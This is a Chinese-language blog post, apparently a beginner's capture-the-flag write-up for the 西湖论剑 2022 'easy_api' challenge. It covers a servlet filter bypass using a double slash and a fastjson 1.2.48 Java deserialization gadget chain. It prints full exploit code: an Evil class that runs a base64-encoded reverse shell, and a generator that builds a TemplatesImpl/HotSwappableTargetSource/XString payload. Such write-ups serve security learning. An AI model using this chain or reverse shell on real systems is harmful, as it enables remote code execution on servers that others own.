从java小白的视角看[西湖论剑 2022]easy_api的解题思路(fastjson1.2.48链)

发布于:2025-07-23 ⋅ 阅读:(17) ⋅ 点赞:(0)

从java小白的视角看[西湖论剑 2022]easy_api的解题思路(fastjson1.2.48链)

信息收集

具体探查漏洞的方法这个师傅的帖子已经讲的很明白了,https://www.cnblogs.com/EddieMurphy-blogs/p/18175079,这里我主要以面向小白的视角看这道题的解题思路

一、绕过filter

这里ApiController.java把反序列化入口写的很明白了

roller
public class ApiController {
    @RequestMapping(
        value = {"/api/test"},
        method = {RequestMethod.GET}
    )
    public String test(Data data, ModelMap map) throws Exception {
        byte[] base64decodedBytes = Base64.getDecoder().decode(data.getData()); //传入的应该是base64
        ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
        CustomObjectInputStream ois = new CustomObjectInputStream(bais);
        ois.readObject(); //触发反序列化漏洞
        ois.close();
        return "api";
    }
}

所以我们请求的内容应该是/api/test?data=xxx

但是实际这样请求的时候会出现forbidden,我们在LoginFilter里发现原因

public class loginFilter implements Filter {
    public void init(FilterConfig arg0) throws ServletException {
    }

    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException {
        HttpServletResponse response = (HttpServletResponse)servletResponse;
        response.setStatus(403);
        response.getWriter().write("forbidden");
    }

    public void destroy() {
    }
}

web.xml

	<filter-mapping>
		<filter-name>loginfilter</filter-name>
		<url-pattern>/api/*</url-pattern>
	</filter-mapping>

这段代码和配置组合起来表示一个 强制拦截所有 /api/* 请求 的过滤器,直接返回 HTTP 403(禁止访问) 并输出 “forbidden”。因此我们可以用//api/test绕过从而匹配不到/api

二、反序列化

接下来由于看起来项目本身不存在反序列化漏洞,我们就要从lib里面挑依赖项的已知反序列化链来用了,我上方推荐的帖子是用改过的fastjson1.2.48链来做的,我们剖析一下改动的逻辑是什么

先看看网上找到的fastjson1.2.48反序列化漏洞原理的讲解:https://blog.csdn.net/uuzeray/article/details/136927719,他给的链条是BadAttributeValueExpException#readObjct -> JSONArray#toString -> JSONArray#toJSONString -> getter,但这个web项目没有BadAttributeValueExpException对应的依赖,所以得用xstring的tostring方法代替(虽然我也不知道哪里导入了xstring类,可能是内置类,欢迎懂的师傅解答一下),templates.getproperties的功能是加载一个恶意类的字节码,所以我们需要新建一个maven项目,一个文件是POC,另一个文件时恶意类Evil

下面来分析一下师傅写的代码

Evil.java不多做分析,大概就是统一那么写的

package com.eddiemurphy;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Evil extends AbstractTranslet {

    public Evil() {
        super();
        try {
            Runtime.getRuntime().exec("bash -c {echo,<base64反弹shell>}|{base64,-d}|{bash,-i}");
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

POC.java:

链条:

ois.readObject()(前端入口)->hashmap->readObject->hashmap.put
->xstring.tostring
->JSON.tostring
->templates.getproperties->恶意evil类

代码:

package com.eddiemurphy;

import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import org.springframework.aop.target.HotSwappableTargetSource;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.util.Base64;
import java.util.HashMap;

public class Exp {
    //递归查找类及其父类的字段(包括私有字段),并设置为可访问。
    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
    //类不能直接修改属性,因此通过反射修改对象的字段值
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception{
        //恶意 TemplatesImpl 对象,被templates.getproperties引用
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{
                ClassPool.getDefault().get(Evil.class.getName()).toBytecode()
        });
        setFieldValue(templates, "_name", "Evil");
        setFieldValue(templates, "_class", null);
        //包装 TemplatesImpl 到 JSONObject,templates.getOutputProperties()可以调用的类型
        JSONObject jsonObject = new JSONObject();
        jsonObject.put("jb", templates);
        //恶意的 HashMap,也是我们payload实际反序列化的类的入口,反序列化的时候会触发其中的readobject类,注入我构造的节点,触发tostring方法
        HashMap<Object, Object> s = new HashMap<>();
        setFieldValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);
        Object tbl = Array.newInstance(nodeC, 2);
        HotSwappableTargetSource v1 = new HotSwappableTargetSource(jsonObject);
        HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString("xxx"));
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setFieldValue(s, "table", tbl);
        //反序列化生成payload的通用方式
        try{
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
            outputStream.writeObject(s); //s是hashmap类,上方构造的
            System.out.println(URLEncoder.encode(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())),"UTF-8"));
            outputStream.close();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}

之后就是传统的反弹shell了,我复现是没问题的,如果有遇到什么问题的师傅我可以帮忙看看。


网站公告

今日签到

点亮在社区的每一天
去签到